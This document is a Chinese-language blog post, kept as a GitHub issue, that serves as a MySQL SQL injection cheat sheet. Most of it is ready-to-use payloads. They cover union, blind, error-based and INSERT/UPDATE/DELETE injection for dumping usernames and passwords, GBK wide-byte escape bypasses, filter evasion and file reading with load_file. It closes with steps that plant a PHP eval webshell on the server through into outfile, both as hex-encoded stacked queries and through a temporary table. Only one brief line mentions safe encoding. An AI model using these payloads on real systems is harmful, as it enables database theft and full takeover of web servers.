PyxYuYu/MyBlog

注入(五)

PyxYuYu opened this issue · 0 comments

Thinking will not overcome fear but action will.

0x01 SQL注入

  • MySQL
    • 注释查询
      • #
      • /*
      • --
    • 多条数据显示
      • concat:将多个字符串连接成一个字符串
      • group_concat:返回一个字符串结果,该结果由分组中的值连接组合而成
      • concat_wsconcat with separator 指定参数之间的分隔符
    • 相关函数
      • system_user():系统用户名
      • user():用户名
      • current_user:当前用户名
      • session_user():连接数据库的用户名
      • database():数据库名
      • version():数据库版本
      • load_file():读取本地文件的函数
      • @@datadir:读取数据库路径(5.0 以上版本)
      • @@basedir:安装路径
      • @@version_complie_os:操作系统
    • MySQL 数据表版本特性
      • MySQL 3.23.3及其以上,支持 -- 注释
      • MySQL 4.0 及其以上,支持 union 查询
      • MySQL 5.0 之后,内置了 information_schema 系统表,可以利用这个表联合查询所有的数据库、表名、列名以及内容,5.0 以下只能通过猜数据库名、表名、列名的方式
        • 一般注入手段
           // 字段数
           order by n
           // 基本信息
           and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7
           // 数据库
           and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1
           and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata
           // 表名
           and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1
           and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码
           // 字段名
           and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1
           and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码
           // 数据
           and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
        
      • MySQL 5.1 之后,udf 导入 xx\lib\plugin\ 目录下
      • MySQL 5.x 之后,system 执行命令
    • 类偏移注入 -- MySQL 5.0 以下
      • 利用 Access 类似的方法,利用子查询忽略字段名获取数据
      • order by 确定字段数
         SELECT id,name FROM `phpyun_description` where id = 1 union select 1,2 from (select * from phpyun_admin_user order by 6)a
         // MySQL 不会自动给派生表定义别名,所以需要在后面加一个 a,或者 as a
      
      • 构造利用别名列查询所有字段的子语句
         select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user
      
      • 最后拼接在一起,利用 concat 连接显示
         SELECT id,name FROM `phpyun_description`where id = 1 and 1=2 union select 1,concat(a_1,0x23,a_2,0x23,a_3,0x23,a_4,0x23,a_5,0x23,a_6) from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user)
      
    • 布尔盲注
       and ascii(substring((SELECT password FROM users where id=1),1,1))=49
    
    • 时间盲注
       1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl
       
       UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’
    
    • 报错盲注
      • floor -- MySQL 5.0 以上
         // 数据库版本
         and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
         // 简单方法爆库
         http://www.xxx.com/sql.php?id=info()
      
         // 连接用户
         and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
         // 连接数据库
         and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
         // 爆库
         and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
         // 爆表
         and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
         // 爆字段
         and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
         // 爆数据
         and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
      
      • extractvalue
        • 有长度限制,最长32位
           and extractvalue(1, concat(0x7e, (select @@version),0x7e))
           
           and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
        
        • 使用 concat 函数,是因为 extractvalue中的字符串前面没有~ : \ <这些符号的话,会导致报错的内容不全,前面几个字符被吃掉,所以需要用concat` 连接(一般特殊符号或者数字也可以)
        • 如果 concat 被过滤,可以使用 insert make_set 函数来替代
           extractvalue(1, make_set(1|2, 0x3c, user()),1)
        
           extractvalue(1, insert(user(), 1, 0, 0x5c),1)
        
      • updatexml
        • 有长度限制,最长32位
           and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
        
           and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
        
        • 如果 concat 被过滤,和上面 extractvalue 一样采用 insert make_set
      • name_const
        • 适用于低版本(5.0.12 才加入),在最新的 MySQL 版本中,使用 name_const 函数只能提取到数据库的版本信息
           and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
        
      • Error based Double Query Injection
         or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
      
      • exp
         and exp(~(SELECT*from(SELECT user())a))
      
      • 基于 MySQL 数据类型溢出
        • 基于 MySQL 中无符号 int 数据类型溢出,5.0 下不存在,5.5 下存在,同时还有报错信息的长度限制
        • 报错是由于无符号整型超出范围
           // 数据库版本
           select 1E308*if(x,2,2) from(select version()x)y
           
           select 1E308*if((select*from(select version())x),2,2)
        
           // 爆所有字段,可以会由于报错长度限制,导致内容不全
           select 1E308*if((select*from(select*from mysql.user)a limit 1)>(select*from mysql.user limit 1),2,2)
        
           // 爆数据,和上面相比,多了 limit 1,即显示出一行的数据和字段名,第二行则 limit 1,1
           select 1E308*if((select*from(select*from mysql.user limit 1)``limit 0)<(select*from mysql.user limit 0),2,2)
           
           select 1E308*if((select*from(select*from mysql.user limit 1)a limit 1)>(select*from mysql.user limit 0),2,2)
           // 第二行数据
           select 1E308*if((select*from(select*from mysql.user limit 1,1)a limit 1)>(select*from mysql.user limit 0),2,2)
        
           // 爆指定字段数据
           select 1E308*if((select user||host||password||file_priv from(select*from mysql.user limit 1)a limit 1),2,2)
           // 更改 limit 1 为 limit 1,1 则是第二行数据
        
      • 基于 MySQL 函数报错
         and geometryCollection((select * from (select * from(select user())a)b))
      
         and polygon((select * from(select * from(select user())a)b))
      
         and multipoint((select * from(select * from(select user())a)b))
      
         and multilinestring((select * from(select * from(select user())a)b))
      
         and linestring((select * from(select * from(select user())a)b))
      
         and multipolygon((select * from(select * from(select user())a)b))
      
      • 利用 insert update delete 注入
        • 闭合
           ' or (payload) or '
           ' and (payload) and '
           ' or (payload) and '
           ' or (payload) and '='
           '* (payload) *'
           ' or (payload) and '
           " – (payload) – "
        
        • floor
           // payload
           or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(查询语句 as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or
        
           // insert
           INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo')
        
           // update
           UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo'
        
           // delete,删除时一般根据 id 删除,数字型
           DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or''
        
           // 提取数据,payload 和上面不同
           INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (正常的语句)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
        
           // 查询 user()
           INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (user())) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
        
           // 获取表名
           INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo')
        
           // 获取列名
           INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
        
           // 获取数据
           INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo')
        
        • updatexml
           // payload
           'or updatexml(1,concat(0x7e,(version())),0) or'
        
           // insert
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo')
        
           // update
           UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia'
        
           // delete
           DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or''
        
           // 提取数据,payload
           or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or
        
           // 获取表名
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'Nervo')
        
           // 获取列名
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='user' limit 0,1)),0) or '', 'Nervo')
        
           // 获取数据
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'Nervo')
        
           // 利用 delete 获取数据
           DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(':', id, username, password) FROM users limit 0,1)),0) or ''
        
           // 利用 update 获取数据,只能通过另一张表来获取当前表的数据,students 另一张表
           UPDATE students SET name='Nick' or updatexml(1,concat(0x7e,(SELECT concat_ws(':', id, username, password) FROM newdb.users limit 0,1)),0) or '' WHERE id=1
        
        • extractvalue
           // payload
           or extractvalue(1,concat(0x7e,database())) or
        
           // insert
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo')
        
           // update
           UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo'
        
           // delete
           DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or''
        
           // 提取数据,获取表名
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'', 'Nervo')
        
           // 获取列名
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo')
        
           // 获取数据,同样不能用 update 获取当前表的数据
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo')
        
        • name_const
           payload
           or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
        
           // insert
           INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo')
        
           // update
           UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo'
        
           // delete
           DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or ''
        
           // 提取数据,name_const 只能用于低版本,高版本中只能获取数据库的版本信息
           INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo')
           // 如果返回 Incorrect arguments to NAME_CONST 说明不行
        
           // 获取表名
           INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo')
        
           // 获取列名
           INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo')
        
           // 获取数据
           INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1))a) or '', 'Nervo')
        
    • 多语句执行
      • mysql_query 不支持多语句执行,mysqli 支持多语句执行,因为 mysqli 这个库中有 mysqli_multi_query,可以用这个指令实现多语句执行
      • ; 来实现多语句执行
         http://www.xxx.com/1.php?id=12;select 0x3c3f706870206576616c28245f504f53545b635d293f3e into outfile '/var/www/html/farm/attached/y.php';
      
    • 宽字节注入
      • MySQL+PHP 中用于转义的函数有 addslashesmysql_real_escape_stringmysql_escape_string,还有一种情况 magic_quote_gpc,高版本中已经去除此特性
      • 宽字节注入和 HTML 页面编码无关,即使页面编码设置为 utf8,数据库的字符集也可以设置为 GBK 等宽字节
      • UTF8:由于 ASCII 表示的字符只有 128 个,因此网络世界的规范是使用 UNICODE 编码,但是用 ASCII 表示的字符使用 UNICODE 并不高效,所以出现了中间格式字符集,被称为通用转换格式,即 UTF
      • 宽字节:GB2312GBKGB18030BIG5Shift_JIS 等这些都是常说的宽字节,实际上只有两字节,宽字节带来的安全问题主要是可以吃掉 ASCII 字符(一字节)(一个字符和 ASCII 的一个字符组合成了一个二字节的宽字节)
      • 宽字节注入发生的位置
        • PHP 发送请求到 MySQL 时字符集使用 character_set_client 设置值进行一次编码
        • character_set_client 为不安全的编码设置方式时,就会导致宽字节注入产生
           // 设置为 GBK,宽字节
           mysql_query("set names gbk")
        
        • 构造宽字节注入
           http://www.xxx.com/1.php?sql=root%df%27%20or%201=1%23
        
        • URL 解码后: sql=rootß' or 1=1#
        • ' 经过 addslashes 转义后成为 \'%5c%27
        • root%df%5c%27%20or%201=1%23
        • 带入至 SQL 中处理使用的是 GBK 宽字节字符集
        • %df%5c 组合成了 ,成功将 \ 组合掉了,导致 ' 单引号闭合成功,宽字节注入产生
        • 分析 %df%5c
          • GBK 编码范围是 0x8140~0xFEFE(不包括xx7F)
          • %dfASCII223 ,比 ASCII 128 大,所以会自动拼接 %5c
          • %27%20ASCII 128 小,被保留
          • 注意:GB2312GBK 兼容的,但是低位范围 0xA1~0xFE,不包含 0x5C,因此不能使用编码吃掉 %5c,其他宽字节一样分析,低位包含即可吃掉 %5c
        • 上面的注入是由于设置了不安全的编码方式,下面使用不安全的转编码函数也会导致宽字节注入
        • mb_convert_encoding() iconv()
           // 将 GBK 转换成 UTF-8
           $user = iconv('GBK', 'UTF-8',$user);
        
        * 构造宽字节注入
           http://www.xxx.com/1.php?sql=root%e5%27or%201=1%23
        
        • 分析同上 %e5%5c%27GBK 转换 UTF8 时吃掉了 \
        • 如果改变转编码函数的方向
           $user = iconv(‘UTF-8′, ’gbk’,$user);
        
        • 同样可以构造
           http://www.xxx.com/1.php?sql=root%e9%8c%a6¶=%20or%201=1%23
        
        • 通过访问 http://www.xxx.com/1.php?sql=root%e9%8c%a6 可以带入一个 \,进而注释掉了单引号,这种情况需要两个参数配合注入
      • MySQL+PHP 推荐的编码方式和过滤函数
         mysql_set_charset("utf8"); //推荐的安全编码
         $user = mysql_real_escape_string(($_GET['sql'])); //推荐的过滤函数
      
    • 过滤 , * 绕过
      • 过滤 ,
         select * from aaa union select * from ((select 1)a JOIN (select 2)b JOIN (select 3 )c);
         // 其中的 1,2,3 可用 SQL 语句替换
      
         select * from aaa union select * from ((select user())a JOIN (select 2)b JOIN (select 3 from user)c);
         // 等效于
         select * from aaa union select 1,2,3 from user;
      
         // 爆库需要用 group_concat ,limit 1,0 中有逗号
         select * from xxx_admin where id = -1 UNION SELECT * FROM ((SELECT group_concat(schema_name) from information_schema.schemata)a JOIN (SELECT 2)b JOIN (SELECT 3)c);
      
         // 盲注,截取字符中的逗号 substring(column_name,1,4) 变为 from 1 for 4
         and 1=2 union select hex(substring(ec_salt from 1 for 4)) from ecs_admin_user where user_id=1 order by attr_price desc;
      
         // 延时盲注,注入是 insert 处, case when then + 延时盲注
         select case when (select username from (select * from doc_user) as a where id=1) like 'a%' then sleep(3) else sleep(0) end
      
      • 同时过滤 *,
         // 需要知道列
         select user() from ((select user())a join (select 2)b join (select 3)c );
      
    • MySQL 读取写入文件
      • 必备条件
        • 读:file 权限必备
        • 写:绝对路径 union 使用 可以使用 ''
      • 判断是否具有读写权限
         // 读取
         and (select count(*) from mysql.user)>0
         // 写入
         and (select count(file_priv) from mysql.user)>0
      
      • 读取
        • MySQL 3.x 读取方法
           create table a(cmd text);
           load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
           select * from a;
        
        • MySQL 4.x 读取方法
           create table a(cmd text);
           insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
           select * from a;
        
        • MySQL 5.x 读取方法
          • 上面两种都可以
        • 读取文件技巧
           load_file(char(32,26,56,66))
           load_file(0x633A5C626F6F742E696E69)
        
      • 写入
        • into outfile 写文件
           union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'
           union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'
        
      • 利用 load_file() 函数进行注入
        • order by 获取字段数
        • 爆显位,假设字段数为 10
           and 1=2 union select 1,2,3,4,5,6,7,8,9,10
        
        • 查看数据库版本
           and 1=2 union select 1,version(),3,4,5,6,7,8,9,10
        
        • 如果 MySQL < 5.0,只能猜解表名,这里先猜解数据库用户名
           and 1=2 union select 1,unhex(hex(user())),3,4,5,6,7,8,9,10
        
        • 查看操作系统 @@version_compile_os
           and 1=2 union select 1,@@version_compile_os,3,4,5,6,7,8,9,10
        
        • 需要获取网站的绝对路径
          • URL 后面添加 ' 或去掉某部分使网站报错
          • 读取 phpinfo 文件
        • 获取绝对路径后,爆出数据库连接文件的信息
           // D:\www\news\model\display.php 的16进制编码
           and 1=2 union select 1,load_file(0x443A5C7777775C6E6577735C6D6F64656C5C646973706C61792E706870),3,4,5,6,7,8,9,10
        
        • 右键查看源代码,得到数据库连接文件 config.inc.php,获得该文件的绝对路径,读取
           and 1=2 union select 1,load_file(0x443A5C7777775C6E6577735C696E635C636F6E6669672E696E632E706870),3,4,5,6,7,8,9,10
        
        • 查看源代码,获得数据库密码,备份一句话木马,获得网站的 WebShell
          • 开启 3306 端口,可以本机 cmd 连接
          • phpmyadmin 连接登录,备份一句话木马
            • 创建临时表,添加一句话,导出至PHP文件,删除临时表
               // lcx 临时表,cmd 字段
               Drop TABLE IF EXISTS lcx
               Create TABLE lcx(cmd text NOT NULL)
               Insert INTO lcx(cmd) VALUES('<?php eval($_POST[cmd])?>')
               // 路径必须使用 \\ 进行表示
               Select cmd from lcx into outfile 'D:\\www\\news\\eval.php'
               Drop TABLE IF EXISTS lcx